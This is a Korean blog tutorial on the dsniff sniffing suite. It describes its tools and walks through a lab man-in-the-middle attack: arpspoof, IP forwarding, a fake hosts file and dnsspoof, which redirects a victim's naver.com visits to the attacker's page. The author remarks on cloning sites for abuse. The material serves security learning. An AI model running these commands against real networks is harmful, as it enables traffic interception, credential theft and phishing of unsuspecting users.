Dsniff
- Dsniff는 스니핑을 위한 자동화 도구이다. 많이 알려진 툴이며, 단순한 스니핑 도구가 아니라 스니핑을 위한 다양한 툴이 패키지처럼 만들어져 있다.
- 무차별 모드에서의 패킷을 캡쳐할 수 있는 특징을 가진다.
- Dsniff 가 읽어낼 수 있는 패킷의 종류
-> ftp, telnel, http, pop, nntp, imap, snmp, ldap, rlogin, rip, ospf, pptp, ms-chap, nfs, yp/nis +, socks, x11, cvs, IRC, ATM, PostageSQL, Citrix ICA, sql, auth 등
우분투에서는
$sudo apt-get install dsniff (칼리는 기본 제공)
사실 설치 방법은 복잡하다.
LIBNET 설치 -> LIBPCAP 설치 -> DB 라이브러리 설치 -> LIBNIDS 설치 -> OPEN SSL 설치 -> DSNIFF 설치
굳이 우분투에 설치하고 싶으신 분들은
Dsniff 설치 시 설치 되는 툴
filesnarf NFS 트래픽에서 스니프한 파일을 현재 디렉토리에 저장
macof 스위치를 허브와 같이 작동하게 하기 위하여 임의의 MAC 주소로 스위치의 MAC 테이블을 오버플로우 시킴
urlsnarf HTTP의 모든 URL을 가로챔
mailsnarf SNMP와 POP을 스니프하여 이메일을 볼 수 있게함
msgsnarf 채팅 메시지를 스니핑
tcpkill 탐지할 수 있는 TCP 세션 끊음
tcpnice ICMP source quench 메시지를 보내 특정 TCP 연결을 느리게 만든다.
(속도가 빠른 네트워크에서 스니프 할 때)
arpspoof ARP 스푸핑 공격
dnsspoof DNS 스푸핑 공격
옵션
Usage: dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen]
[-f services] [-t trigger[,...]] [-r|-w savefile]
[expression]
-d: debugging mode 사용
-m: 자동 프로토콜 탐지 기능 사용
-n: IP이름을 풀이 하지 않음
-i: interface: 사용할 장치 지정
-w: savefile: 스니핑한 결과를 지정한 이름으로 저장
위의 기능 중 전부 하기에는 시간적 문제 및 귀찮아서 그럴싸한 몇 가지를 테스트해보았다.
Macof - LAN에 random MAC addresses에 트래픽을 계속 발생하게 하여 스위치 메모리를 고갈 시키는 것
macof <-s 출발지> <-d 목적지> <-e 목적지 하드웨어주소> <-x 출발포트> <-y 목적지포트> <- i 장치> <-n 회수>
예) macof -d 192.168.100.5(희생자 IP) -i eth0 (예에서는 그냥 ip로 어떤 것을 의미하는지 보여주기 위함)
URLsnarf - CLF(Common Log Format) 를 사용하여 HTTP 패킷을 가로챈 후 현재 클라이언트가 사용하는 URL을 알려줌
urlsnarf <-i 인터페이스> <-p pcap파일> <-v 자세히 pattern[URL 정규 표현식 지정]>
예) urlsnarf -i eth0 //host지정 시 host <ip주소>
//test에서는 한 명의 희생자밖에 없기 때문에 지정 안함
192.168.100.5에서 접속하는 url 획득
arpspoof - arpspoof는 양 서버사이에서 스니핑하고자 하는 서버인 것처럼 MAC을 위조하여 트래픽을 포워딩하는 것인데 실제로 해킹을 할 때 arpspoof를 마치 게이트웨이 인듯 사용하는 경우가 많다.
(http://kkn1220.tistory.com/32)를 참고하면 arpspoof를 한 것을 확인할 수 있다.
다른 방법으로는 다음과 같다.
희생자 우분투(192.168.100.5)에서 arp-a를 입력했을 때 공격자 14번과 1번 게이트웨이의 맥주소는 다른 것을 확인할 수 있다.
하지만 arpspoof를 하게 되면 다음과 같이 14번은 1번이 마치 자신의 맥인것 마냥 속이게 되며 패킷을 본인에게 향하게 한다.
이를 악용하여 tcpdump라든지 기타 방법을 사용하여 패킷을 확인할 수 있다.
arpspoof <-i 인터페이스> <-t 타겟> host
dnsspoof - 말그대로 DNS 주소를 속이는 것이다.
이를 위해 위에서 했던 것을 토대로 전체적인 시나리오를 기반으로 진행해보겠다.
우선 아파치 서버 페이지를 수정하겠다. 기본은 it works 화면임
(vi /var/www/index.html 수정하면됨)
아파치 서버가 실행이 되지 않았을 수도 있기 때문에 실행하자
#service apache2 restart
아래의 화면은 kali 공격자의 index.html 페이지이다.
1. arpspoof
#arpspoof -t <target ip> <gateway ip>
#arpspoof -t 192.168.100.5 192.168.100.1
1번 쉘을 열고 위의 명령어 실행
2. IP forwarding
#echo 1 > /proc/sys/net/ipv4/ip_forward
#fragrouter -B1
2번 쉘을 열고 위의 명령어 실행
3. fake host file 작성
#vi test
[attacker IP] [Domain]
192.168.100.14 *.naver.com
vi 편집기 내용
4. dnsspoof
#dnsspoof -f <filename>
#dnsspoof -f test
3번 쉘을 열고 위의 명령 실행
5. target pc에서 naver.com 접속
아래의 화면과 같이 naver.com에 접속하였음에도 불구하고 공격자의 index.html에 접속하는 것을 확인할 수 있다.
사이트를 진짜 사이트처럼 복제한 후 악용할 수 있다.
'해킹 > 해킹' 카테고리의 다른 글
DoS(Denial of Service) 소개 및 공격유형 (0) | 2016.02.12 |
---|---|
스푸핑 (Spoofing) 소개 (0) | 2016.02.11 |
스니핑 도구 tcpdump 소개 (0) | 2016.02.02 |
스니핑(sniffing) 소개 (0) | 2016.02.02 |
shodan 소개 (0) | 2016.02.01 |